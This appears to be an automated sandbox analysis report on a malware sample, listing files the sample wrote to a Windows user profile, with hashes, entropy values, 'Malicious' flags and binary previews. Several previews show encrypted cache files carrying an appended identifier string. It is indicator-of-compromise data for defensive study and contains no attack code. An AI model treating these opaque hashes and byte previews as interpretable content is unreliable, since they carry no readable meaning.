SHA-512:	90CFA83FEDB18158E4B5F6123517BB265963E3F8CEFAE088EE932FA8228E9D3A054570F8F9BDFB907ECB0DB6F755EB042C21EB8048C17900F2E1DEB516622BA1
Malicious:	false
Preview:	....B.M..5.pQ.....Q..\...%...L<jp...X..._.....RmK..;<...W}s.A....(...=yO`....V..F...?.......a........C.2..Z...9......Zxg.S._.)).v....iM.%'RH......g.s....;.._..Fs._Q".5...R$...Ol.8.../.Q..B..t.2.V..p...Ng!...{....OW^.;..pX,.<?...\...].E.........S.U.i.6.)J.9D...Zi....V...9+.....X.Z...X,.-C&X./..~....o..Y&.>..."+d....qE.....n.s+......(.z.Kk.s..[.....9....+...t+.ZC......Q..X............gn...@...Q..I^.+.m.g..n....?...g....vc..y4.f...%..S...6...I._.T..?..../W.......L.>.t..ihX.,.1f.......RW$d.@......Q.e!.......N....@S.%.c{..g.....d...:.q..).}.r..r..-V<./x.H.....C.Z.F.H5g....I..v.........v.-.....*N.....8/. 4..e.-../jE.:.............8e.........}.M.@...."SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\2057\StructuredQuerySchema.bin

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	424152
Entropy (8bit):	6.33054088377872
Encrypted:	false
SSDEEP:	6144:RIi78Z/zEKQgynRQI9Vs3Y5WJrTv0B+eYm+vyJfbnQkK96B88yKv4bWTmTvEiLSF:aicbICIPsNcLYm+6dF4/y
MD5:	BD57E1E9D235EAA218289D2AB9B06A11
SHA1:	861A8BF53AAA5D000BD014413D241F39A2C37DF1
SHA-256:	1A0D9F45C6FD53D5DC2B92E0FFEC8261F6D1D9D35BABF9D129921347EF3F9108
SHA-512:	81ED620FFB0260374A385597D6D0319CFAF36E14CC1C4BE03643D3DB5A393DC768626305BD157CB809DC8E43EE44346107C9A6A6823BD072BE06A41DA89048DD
Malicious:	false
Preview:	...P..u.Q.0...........V...w.k..+.C...j...I...%G.&.I_D+m..:...O.j@(8.S4....m. ..?...l.....sbP.?...A..........rb ...4.....p.n.g......wc..._.."9....T..}.....z.= Tk0:.....kS+..........Q..9.Rc.....l.BB:.1b.4.h......\|).5.&.c.(s`N..i..$.,.f;C0..gm?5...y .k.h.~.iq.{.my^.N.=oG...<b.S.b..>./~.0..GP.6.....%o9..(..\.Y.WQR.Q/..\|!.\|....6....U+.#b.i.+F...5M....lix.Q9..B.............1^-!f1t...PSH..y........Q.......D..-T..rPu':.q....)\.G....`2.fT............}...."QJ&.&..r....z]C.JJ.....E.3..Vm....L9jS.).CD....../..oSHF/.Xr.fR..'.H..LI.F.Q.i...z..z^..?....z~....o...?^....Lf0.f...J..i.R8.ag.x.%..l..Z.;....e..g......z.92 ._P...(8..~..6Dpc.ij..(<...2.8W.p.....&...,Yg..VDc.......W.#..Y.......w.\.1r.'7..}.'@{We...3.h..pw...7......v5.8....B@#GT..0DZ.K.@.xnt...e..2.E~y.o`F_.ct.......L..E.E\|..O$mT>QF.E$e..?9..j.bH5...xqG... f..x....#...Z...(4L..t.....#.......d...$M=.0.ZL...... ...]Z.[..H.}X..~.+....&D...x].S~..4E@...{.....2R?.om.*.......7.l.<..)v.ba

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.9901702793182405
Encrypted:	true
SSDEEP:	384:VfLJ7upWax0DUs5LN43xzw+4abwu+zXm8A1BX6YrHMzf+8:5LYpgh55sCluum84cYry
MD5:	616EFE654EBD4A10A2ECF087A46FBA97
SHA1:	602C251C62ED23DF64BFCE31E18DAAC17731D7AF
SHA-256:	AB8D3BA9E2FC09920340EA2AA37D9998B503D6DFFF166EC50B8DC4029497E7A6
SHA-512:	93F4D8504E5E686273F4C9BE20BEBD1E616AE2E3F4ED4BCD86766F22E77321970E4AA8C6DFDB991497C4DF9A7541B1DE63427D441A084EADA138D8EDD2448A54
Malicious:	true
Preview:	.... ......].\......".3....q9......7j\|...>x.n{..QG:.O.0;..Sa.....$8>.....Vz@.....km7(..q/....../V...uq.&..._......aa..P.;.`v.'...1.K.hF)../..q;.....2.5.......}qY.N.a.PX.......c.TW...#..B..C...S...He...[...\|.."G..5...y..c\|`z..*..#7A;.z.F....x..;D5...NM.....;.....:;....J....c%D(.Md#.T.....n.?..U@.?^....t.h5F.lBRd..]........I.(.}..0x._....(Jk...Vo..c.......I.%.........KA..m]..e,B....:...p.D...>.g...wS..u.p....O W.A.+..\.o...!n.....E......&_........Bf.ka.L..~;.Fk..T.K5.....p..X./.....w.;<.7...lJ?.`.0>P.UD...........g......I..&._p..0.v)..lM..U}..t....I...Zv...k..{.I...I eC..M..c.-.?L..@:..5dr...ykRc....z....".A..5....[91....... .[..?....c..b..(5...2...w.(L.K7j.J.u......7...U[.V.x.],Q9......i.11K.M[.t....%.>JL..-\|...K...t...h.Uk.\...;]...:.X.....7..I.A.+....{..'%G.(.H[.S.S....gf..]...4.R.'i...@.yg.x..o.p".......-ScvX.R..CX..$......'Z.a.1 .VL.../-.,...)..lP...l..q..\..9.vW..L..s.x$9.l>Ot7O.{sk.q>.2=.b....1s..W..Q..........#.#P.KWV.h0..

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.3.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.986988851127181
Encrypted:	false
SSDEEP:	384:ewR4KiK7sMAHP7Q9SmXWsX0ecajCAK1EY1k/vUcUFf4M:nWpKAHMUmDjYCY1k/dUFh
MD5:	0B35AAE3BBD26AAB68F5FBFCD70DF88F
SHA1:	D16CAEAE8977FDA61474A15917807898B75359D5
SHA-256:	560418F3F1B1A7C3C3FCAAFCD754A529BA52AD4969159638FEBCF3D6BC4A7546
SHA-512:	E554713A63CBB13E936A8C7B9B71CF7430AC1C3CF26DE844BDCCB9ED1C63F710E431F32841F0399B7DDBBC71C250218D55F379E548F5420FC54FF41C179A6566
Malicious:	false
Preview:	....`.Z....L.....%.0...m@4...`...v..Q...K.k....)....0a..0o..p..5a.~...w.....i._eI..o6..\.....G.V./.Bk..a.s.D7l....x...K....u.;IM..\.NARw..Y.#5..H+Kk.m...m.......\^..%.p......j .D..\:.....=F....h>..2.u.b..f...}.........\W.g....v-c...sw................gb......MA.D.2+5.R.H...7......q.a..-. I........4.,^.w.....i.DQTz.>.d[.dr.p..]K.q.hs.....c.:4..F.!..?9.....F.....M.......57q&.....(x.....`..Rl@.'...d=p.m;..~..;.F>.i.y......v..fb.Uy,vn.[=i...S..2..d..D._p4...H`1.%_....-C..8,4.......F`....;xH.6OQ8..##.....w.C(T....5....xg...sH.O._..OY.z.D`...Ie.<.4M...g.\U$.=..^."..........,...%.......XL]..glH..zgy..jljB....\.'K..v..... YM..mz (..w......V.....\|...6.-..:#...._.).1.=..../.... dM$..m-F.64..`.(^s.%,s....Y<xuU..mz%).T %...Z.....X3.;0SJ...0../.h...`...(....^`..6....W.wt.YJ....[.Mch.S....PGb..-[IO..0u.<_...D.?........tK.....0........y7.@+`n[...U......A.=..Y.PP.......;..Y...S...;.f.}..8a..-XRH+%.R..F.z.m..W..%..t..=...>.v..E...Vs&.

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{2FE9468C-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	424190
Entropy (8bit):	6.331637239340775
Encrypted:	false
SSDEEP:	6144:5OF/ICKC3nOrsqpajIIjjm+vyJfbnQkK96B88yKv4bWTmTvEiLSs:ECCbMs6Cjm+6dF4/X
MD5:	548C42342038C0E5B6466DD61B897FC3
SHA1:	7C66F29854FF2761AAC261B9C90473B4E87919A6
SHA-256:	A42B81939703713FF1FE48B3FDC1071288F155B02CB71C1CA7A3E8E449339A7B
SHA-512:	BA88537080FF95DE452E87F5E09954AAA67A56D97072E3062855FDFF0B873656D98956FA0F3FF3842E5177D5915388E7A179B3CC7D64513DD0BDF65A43F2C7EE
Malicious:	false
Preview:	.w.. ..@.sG..d.._9.7.....N;{..f.7.j.'H1b>CG.f.!^.`.....XU..?}.+...@.\|l.}.c........[...P+k...4-Oh...3w.:.\.Y...!F_.}0..{.i...Q7t!..6.......-.A..^..G.....RE..Y..;...m{`....E$.>...._.l'u. ....a...`.....R.JE...sOY\|.<...U%>..h...P.9;...x:..^\|#....=..>..y..Y.Ku..;.B....x...BZ.w.....V...~}.T..&.4}.....0ba..Wc...%...........J.-V..Z....[..m..c.@.u[.\.L..B.:.X9...W...z5.h...W..&.Y..p....M...@j5..y..%....C...I.%.Y`... ..)KEZ../..-0Ir2.TU.........7.....F.....C........2\....*j3.....L+..AT..../J_vT....H...`._....a.]..._.=27x.?......Du.ly7Mo......p.`....uf....?....k.Z.+iCb..HK.......^?....<~Y....+1....:....O.K..KX.[:..L...+W..8N.i.A.....Hr....rXvc....b..D.....D.{9_.]...".r....E..v!x..%.X..L.jy).)..?.c&..p..TBS..A3....O1...:.......B5...L.I.K..0....T..$J..U~.&..C,%G.~..x......d...V..5.....E1..n...pC..X...._..!.\|...!.owO.4...1 .5..f.adydj.T.:M.pZ!'=..d...q....(3.?..7..j..FI&Y_.\ KvX..JQ.`F`....;.>..B...@a.u....1..Z..I.....2..8...].\0=..o.N..........

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002b.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	104886
Entropy (8bit):	7.998209003296122
Encrypted:	true
SSDEEP:	3072:1bCCH+zDJ02hsVArN6zwq7bLouW/SkilhzkvPv:1bCCeXJ02eVyN6zwgLou0Ss
MD5:	10E364A4A0FD94F8BE6F1560351D7076
SHA1:	E33182C7E9F2B8D18F6DC1F13A43664162CA46C1
SHA-256:	27F1FD08E12B0EAB68CC97DDE4A21912106EDF557DBBB4626EEB15235E6E8267
SHA-512:	92791309C47444D5AF76CB0378143FE1BC4E326586BB401BB6E94793EBE38205B1525D38044EB559323124E6941833750AACD254835789A08E78709B58753356
Malicious:	true
Preview:	....hI..<2e...'.k.xm.e..7_.r...!...i..o..R;.Ji.......@....6.9..n.Y........q6...v.........o.+2JG/..D..Q._....M.3...I....ht......_9l\fG..!...Y9.nz..$..9....q.A<..)D..J.K.t.9.C8...y5..%W.......C..aCd...n....}....-zO...R/.......D..a2.......R8,.$A.YDj}%.6..U>..Ch.....?.j.H.2m../...7.y..1.h.+...^......@.L......F.....h.-}g 5..`..n^.t.(~F4.>.n..c..G0........x..9."....p'..~_..(..7....:._.._9.....\.h-...{)....~.'.~.-MO..u.8.c..x,Fg..>'C&...(#.../`../....}..=..?....6.Y..\|..t{.....J.UEv..:(.Z.M..I.L.>.j=R.6...E:D..~...)...x.2<.e..M{w.N.....K'....s.;~K,&.k..'c.e...N.d..'...@R......R.g.;&..9/O.\|..\|{.....]........V.......)..O.Nb.....]...a...<OZ...3E..(...K.}Y..k..4....;.g....K=...@k_.:.M...BK..U...k0l...lF.T'....WV...Q..d.?...%...BO:.....l...<.../..T....76K.2F.uOS.:...Jn...0......t...N.d".7B...v.^...3...6..8g........m....Q.7.......{....N... y;.S.'.....Q0....,f>?...fC.C...%z.j..H..&..~C....Mg?H.$....J...zL.&v./(.....6X...H......'R<.bj.ai

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002c.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	103638
Entropy (8bit):	7.9980011090750125
Encrypted:	true
SSDEEP:	1536:IPgHtk/UMHA9R/8sqe3PHWmSbKf06+dw2IGno7Cq2dBQumoIamOgDv0f82pUz3QV:nHt2H28sqSemOQYqXoIDOgDS8DV7/4QQ
MD5:	C9DB214361100D13844BD4097BF957B5
SHA1:	725DC5EE0843AF577A2438BCF9EE3D2F9341B867
SHA-256:	4EFCA4DAC1F32C64FE3F04482C6E8DF9C0DC78F7A9667FD50B023EA6A3E1CC02
SHA-512:	87260CA60CDB76648505FF552E6BE8DC7BF192C72601BDAE67C5C78CED03A9EF1F54AA65EA8F06CB6310D88B6014735CAA29B835D61FCD1605597A5EA7B08E95
Malicious:	true
Preview:	....h....1..sD............R@.. s...Mqf...v..AO.YDv.q.4..._9I...7<..`......K.Jy.Z.g..t...1.KkP.k..d.g.5..J...T...@#..[...!...(ZZ.b........kE .,Q.^.a...-..$....s.r>4Y.7zS.9..>.B..#wt....T?0...E....<.....Z.%.F.Ff.........hq.y.:.e.....g...E..D.LV...z.....[....#&......VS.B:....Srgfw.[/e....@..X...&b....Xm....6..,:.F........wl...DF.).Y....:_\.3.....J.....u....CD[ol.&...c..&...&.L....c.5..f....+.....R...?....h..%+......VE....1.h.k.z..".....0.W.?/..o.`.}.....8.l...%..]..U...8...6..w..$Y.-..Ek.S.[...?..C=....U..Y.Z...-.9b.I..."7..I.o......{\|._..x.5..:...Q.i...D...7.:9l.`.I.h...Zc?$.F.h....@Q...w.#k....Y0.D=........R..?..mp}..7/fG...,....9..5....QJd....5.j.!.7....t.&..\R.D..{q...N.S.......2U.n.,..+_...E.....qI....%..y.?..>wm..Lz.<.b.9.-%f@6....&HA......oR.9XBjV..4.`..x!..g......h......%.1#WHh...}hk......j.b....aY..%S.....D.s.......XqQ.d:%{w....8..3..........L.}.b."..)3.t...%@:h._......^.#.G\|..H.J<i.f.n....8...R..j..<pe......1.X.1.d..c

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	56862
Entropy (8bit):	7.996568839732198
Encrypted:	true
SSDEEP:	1536:+tcSQo/7erSLgvkb8aixEaysoVUdC1cwSZnisT8:mcOeSL1b8sTVPcIsT8
MD5:	A851B8685D3594C200C0D325F0D5053E
SHA1:	A6689643561BB1598C403626E1B9FEBB7887FC58
SHA-256:	32B56D47EFC839477888D969E9FDA4255F85FAC49A9FE43358E17E91C0F3DC71
SHA-512:	B86EA0D055E91E8CEC29968C24005C5A09190CAD35E62364626231B7120F4BFB707A1FEF8BA14CB039D01FF2694807CC8C4A6BA20B18C17BED510DEF73C36937
Malicious:	true
Preview:	........~R'2...hwm.A.Q.kir#`.6f..V..69..L1.\..q.W..jJ....Y...G. .p..5........~.qo..-.4B....;....k.....G....1E....<....`..../T.......5:...XQ..5. .}.B.0~K.."(.e.x~..,J..Z>q.........G.!BJ.j..l.o..u..\...bN..M........R;.>...O._.t^..&=......].......p.?p..O..M.B......_9zz..`..1...C}.....j$/tYb.$.I.0..`.E...^E....T+;\|..2.lY.U.<.6.lN.n..I...P....7.4..dY.&Q..&S.G.^.}...a......Q....=^.........^.......M....p..X..W9...og]Z..\M..x........Z'(.....UM.D..,...a=.)..9.uq....W.....Jw.0_..g.v.....f.h.4..`.y$..b.T...<.C@.M.o..T3P/.lBg?.......O...{...!..\|.l.._uS.X..G.0..LO....p...cm._......J..%.`....=.5ML_.......h..A.l..aI...V.~jb.......>..b.......C*....N.W<.....E.....q.6#......I.t{......p.[.<.3v........L.....[.a.w... -........NhE.[.R..@A...-]1...7&.>.......-!.....q..&....VA,....C8c.......w..u.U.."a...1..x...bQ..+^.......m2$-1.Mz....xG._.`.`.~l.;.T8..7K..].......6p.9ep.4.._.../.....)d...I..lx....".Yb...).1.)2._...&u..TKX.c....q...iZ.......F.....LmQ...

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	75358
Entropy (8bit):	7.997728968143042
Encrypted:	true
SSDEEP:	1536:MxeDiaAEBxkVq/TSvwoDK4phx2ufxTIRycfmRW/:MADrAqxIq/+C4ph8YNIocfcQ
MD5:	DEF8384995788F4AFDC1871E8D192637
SHA1:	88AB756F030CEDFE49AE6D579BDDDA82E57B03B8
SHA-256:	5C890485DD498F4CA7738816EED296DCD5AD8EAB10E137C221B64AEDF97DBA8C
SHA-512:	1D06C91A8D10DF227199B7C3C005A8CDF762D1D297A23D5A10F23DCC77983B6FB377CC3B7F3C5025F8088FF04FDD9DBEC0337DE96DB7455D4C299D7F99E3257E
Malicious:	true
Preview:	........X.>e.......{Gi.."E.x..e..w...^....ZLaz...xD.5..]....W....L....l.HR.R..1.D]9..S....8..{.j.Y......J...W.._(.;}D.=5...3...[...qM..m.....4..\..V1x\|`>8.:...K..`...K..H....x.Q.k.Rm....G......G.....y..p.......q...K.1;d.....e..8...O..8......q{^ /~.[m.N;......G.]....>...y;..^.n."[u...../........{.k..[.u.R9)d..ue:h....&.... ...sO..B..s.:%&..\...o.pb.M.8z.G`\|\|0..,...t.7..][...H;Gs...D...m...Vd.......Q2Y..q...bf).5d08..2..\J.Pb........Qnnb.%=g..../f.^~.e.&..%d. .A.e.......Lh>..yO.....\|A>../.H.&".`....z.."%..r..e....Y... .j.e....C ..?..a.....N....I..i........=.3'r..Wl.<q.@.Rc....#Y...).$......(..G.L......8.wo.V...........io..N}~...Z.f^.D..~puw.Tf.^.c.......B..\[.8^.D.J.....bi./T..p`Z.K....-Fk..y.)..k,.~.4....Y..W...X....&:27.O.Rl`.qZ.q)...e...d".D.`..m......<......o..s.@......_+.B./.pb.uN..\.!.......!\|.M.. ......V.>..f\|.Q..UKf...r@..PP..:O....s.l$..W.u...MO.E........N.#Hd..}3.V.%......K.S....8........i)..rw5..q.Jp.A..da.......l......

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog.etl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	581966
Entropy (8bit):	5.817136324348843
Encrypted:	false
SSDEEP:	3072:YwKtFJ7kTLZWPAxezIO6W2nVODTWvBY7C+JYuHBt0O/949ZoJLy7Q2vHGr6dmrnC:KFJ7aWeezIO6WI68IjYuHB+H9QYG6Wc/
MD5:	0CB41CDF31DA63A9F2E2FEB79ED34F50
SHA1:	F2FA0B18EB5BCE68CED7A9CD639D7C1C6BFBCA26
SHA-256:	ADEA33B28994D6AD098DC6B6F8B669D9C21C8E8E46072F96CB8099AF834208F9
SHA-512:	DB4F9B39E2EA9B271CFCF9FD40DDC6F54FCD802727199BB530C4593A2A2EA33E373F12E89E2866302919299BDF2697ABDD38FB9A484F5493DD792B532765F60A
Malicious:	false
Preview:	. ...].').....)...S..?c?....Z?..B..aZ....Z.D4...}.......1".......W.\|.l.8...U.@.......FJ... .<.C..,..A.........bU...b.E.5.b.%D7.]..$....Yy..4x.G.;_-}.$}.....8..<.n.h.7.....3s......1^q6@.....WDi{=j.$0In....+:.9..$.C.d].).%.....4.G...'..0._pTC8N/.>..:.c..a..1.rg9..bZ..Bc(...I.x\H.]........:.......$..I..s.qcM.q`,.3.iU....\......Kd..lW..2,..v7.h.[...>..A...$(F................{.#....vz..Z.38....'>.....q..d."./..~.............3...{....3.cf.b..dfu{.I..uW-<.0...a.(I..E0.P.a.....C..?..;..../...)z.....{..q.1p.....B..m&Aw..L@....I_.v/..\|......'y..]<.T....{....5.a..T2.V)..d..-.....;.._...w>+@....>.P...8.0}...^....,-;X....&.../g.....;.z......\=._&....M.@.."T.......X...h..^..uEu..A......~.;...@lW..1.B.A.....r.O.[qj.V~......e.OK.&....I..A_.t......t...T.d.Y..`....BA.?Oz3.....A.8............nsU.l(..........U*....J.........e..../..K...F..j\|..'...9.?\.I...SS..OMo..=...j..Q.^y..R.....IG&`I..M.K6...L.....ro.@2....L\..[9.n.AV.T.C.HV...R(.,..g`S@.#O4.

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.9923542719377965
Encrypted:	true
SSDEEP:	768:GsqxAt/vWagiD3AhmfclIqSbSnJLyrYBOI2ngWoSjii/6bQ:G2vbg23IPTSb6JLIYwRg/zwyQ
MD5:	C1BA2E070D5DCE24E08526E4B8EBF202
SHA1:	BFF3088008B2C9F0F7E158788980746B3498DB2C
SHA-256:	C7218E06468EEB9550DBD7A85BA48AE0790AC387FC8344F7490B18388CD4D062
SHA-512:	6D6D231FEC25CA9772500D7CD52790A089B9812484B78C71904D2BE7E060D2DED9DA04623EC0E81711042CBA77E338E2BEA4137BDB631743F20D0B0DE675B168
Malicious:	true
Preview:	. ....t\....L....o&.........~..9Gr3.+.n/.O.Cz>H...?.....{9!....)....[..Q.............+rR.9...8.%..yN..9Qh;m/....E.'.dK{'...v..%..BF1$]y-..~..3...;.......fS.\|.2!\gkZ..C....kG#...1?.......+n..xp...1.g-y......dw..X....W...D.u..vL...#.S...2f.Dg.8...u.fC....%_.l..].I.$.$.:...\|...Z>......4nc.(X_.B..@.Q.E."R..I.8...sd.'.....>....sD.k..?...\.a0@.j0(Nt.:.3k^K..}1....Lk..U.........b.2.<.'b......C.......A....E...Eb;4....#.j#..-..}..[$.[Xj`u..y"...2...<P.1.......M.5.......n.pc$..\|..}....,..eJ.,$(.CTc..!.\|H&.` .UX.sP....@...a./.s-]....s[..^T"..g........g..!..1...i..........U.R.,....S...[:3tqY.lj...8..O.1o..v6..`........#1..>z5.........../.=.!./...?..<....)...c.,......."sj.2.[^.'P..o..................b.,.......c...t.....Rc%.p..vD?..D......f...#.>.........@..pnG=U.).}zp.z..X.]J...^.Ep...( r...-O[K.<.A.F....1/ p..^l.w.~...u.c...O.2[...Nv..eN...=.6+.\|.H..d".Z.a.x..} H:..u.[7L_.Eq..."&3....,..;....S.%...V....{..2.2...hR.x.....$1.:.....}..M.

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1280.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.3428325121509435
Encrypted:	false
SSDEEP:	6:wPN6AnrSIw27Boqyx/INryww9Cgg52oylfrmIQG+IjNMpreWyc3cii96Z:goIwKo1xqrywwk32oy5Xkre1+cii9a
MD5:	22187303444194D7B876C166672BB7C6
SHA1:	3E0645EA595DBEAA397D24482F026EEED248B0DE
SHA-256:	4BFB04438F76395FFA68C5D329FB3DFCD4B7FBBE29E642D2ECDAA459C42592B5
SHA-512:	9DAD25D3B5B0F29822D9382439C018626FF7C2EAC0FC42B33613643C086202FF73CDC4F1D9B377D05C664E37E04F756F3BBC85594960F40FF4B6BB23BE8AC44A
Malicious:	false
Preview:	CMMM .O..\|!.(..V....J..NQ$m.G".0.+.7..aN.....>.;..V........K..a.V...3..&.QG..=...z_b8.z..=/p.Ft^4q......ov.=..c}....m...RDbZ.Y(`....4./7.../.5.O?$=......y..}..."g@..N.W.a.,.j..p(otk.....?.w.....=.Y...:......".!U.?[>Q^.b.D...T....q.x'.(.....F..L.&..\|......[.d6....HE....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1920.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.326189618240236
Encrypted:	false
SSDEEP:	6:hgrFs9RMihFuUDpkrmLDpTGJ++VZh0IFMbajMDuvzT8w/fMXlN334TVUAuuFPcIm:hgrFcGw1kA9eD703bajMDS8w/f6HoSBz
MD5:	4BEC3730FA71ACE122234D62D4DC5EE5
SHA1:	95CB93461C42ECD2A46C883FE45FE258AAEC5A5C
SHA-256:	DDC7BB716EBCA477D250D41EEAC94C1883FF6EF6A47C8C0C6D3EDE39E363481A
SHA-512:	CDB504BA683B65405F103FF3669988EF40EF41222E454AB3B9819584F8DB3CDCADB6B0478D52EF75737C59F0FB8AA2032ED4490C776DB54F5122B94711AAF431
Malicious:	false
Preview:	CMMM .}..>~....l...w.Ri....l......t..s........t.K..lx.%....?..WN.0.........v.pR..J.*........_...oC..g.Dj..M......or}.c.1%Be........3P.WH..,...U.......8.W[.Q..l3l^.0.W....x.JmA..f.&"...H.C.=.._.....>.E..\...7s,..p!...R..U..k.Y[.{t.a..p.W^...e...\|.x.+..f...U_Z..8...i+qSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_2560.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.356231203441809
Encrypted:	false
SSDEEP:	6:lH4BOsaeI32RJV2JMjSfz1+uaRF8AzF4Mv2P2BNrcIMLwawZVHWyc3cii96Z:lYBOsalEHjU18/F4AgGrcIMsaUVH1+cq
MD5:	3E9A8961373DAACEE9CCF3F12A398CB2
SHA1:	02B89456F497BC2FCB021C3BD52956FD4E224735
SHA-256:	0B243E51C261F963B9F19757E7A18B8B35E967771AD51E5501DCBC2CC2031B3C
SHA-512:	06D3AC08B83A79FDDFAECB0504D1F09B84E7E8396384E51D36DB43441E1372C8590C70D3EBA4442A66ECC3C2F7F01FB6E2CC8B1E8F379053172DE778DD22B0FA
Malicious:	false
Preview:	CMMM ....M.,.C...+{.9...{.....$....6..X....>p.O....P..........AZ.`.+.:...8.}?'.>.c.......N..]...1.+.m..\>...r..4...(.....x..+q.@=........t[)..dv.L.C.......g.]@r...xRCf].,jD.a@.....-.........uB.B...G..`...@...G..{r\|.h..cM.......5...0.$.].S..;x.\.;.\eaP........5.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_768.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.316547848647544
Encrypted:	false
SSDEEP:	6:spS8d+dORg2WP7jFU22jawS0v39nmA5NmqiLb5yY/J7ObfWyc3cii96Z:4SnOL07xU22OwSS9nmkNmLL6bf1+ciik
MD5:	2651BE22CF1D28D7CBA02A477828943A
SHA1:	26C364A1381C52DF9EC19F033E8BFD835F409BB2
SHA-256:	9FA56FE8DCBC6581B9B5E0F52ED1CE37952F9AD60E55A99DEA1AB10402155B60
SHA-512:	CAE5D1A2DE7894F38DA8AF89BCC07E8D9738E9C5F8ADD4890953FCB9663C1BB64891210180349C0E503482678087BF2B40B0A71886F9C11D088F42F2E5E736EE
Malicious:	false
Preview:	CMMM g:...7Z.~.0u.B4v.K......DS4kmy:V.7,.m....+...]...E...W~).A.q.%..u........Ou.Aggx..)..3.H[2o.\...Yn.B...ND.......v8/*...j..b..x.f...+a^.~_P.EGc..#..9...Xj.i..}.Eg..w.L7.....Rz...U].(...hS$................m.?j.9..N....z.:..c......U...Sl....\..L..9..\|..#F....?.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_96.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.345085446788067
Encrypted:	false
SSDEEP:	6:IWQdMm2Gc+t6uezJRX8PM9WWm79zcS602L5rGS3UenPpE3fWyc3cii96Z:SmZqqJ580pM5AiBePpY1+cii9a
MD5:	FEA3056C0B8139ED048D0D32C10F7C53
SHA1:	D1FF584A3F6EE49BBB1582F9BDB7224A8DD4B322
SHA-256:	8644EE04F4EA6CB533D185E0C764E4C59EBAA841C1F93E96DBF478941A2A9C58
SHA-512:	E81EA631256F6C911D66CE4DCF93B9D0A9644D315FB30F0B2EBA974E441B1E0F6959CBF539DD916AF9607C460C30AADF661CE8C8A22233F5C60CBEE27986AA39
Malicious:	false
Preview:	CMMM .n0......L.(!.M+....UN]U..........k.}.R@...eWC.#.}.X1-...2.`.............D...S..c}.....U.......?..#.r.......[......J.n.8..(Sq......\|.3.;..1tg'....................1.nW.*.?.).l.S......4. .%i8l.8.UUTp@...,.T.......t.....eH......K..#......Q^../.%.C...u.I+.}.MyS~Z..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_custom_stream.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.217269078071193
Encrypted:	false
SSDEEP:	6:wGcv/h4n7dj+DSWOoJG74u83zOk2Dg5Zz4B+7+WKAaUC+t9efWyc3cii96Z:wF3m7dkd64u83zj3+WK/UC89ef1+ciik
MD5:	FE00434FA1E187FF393D741A21419445
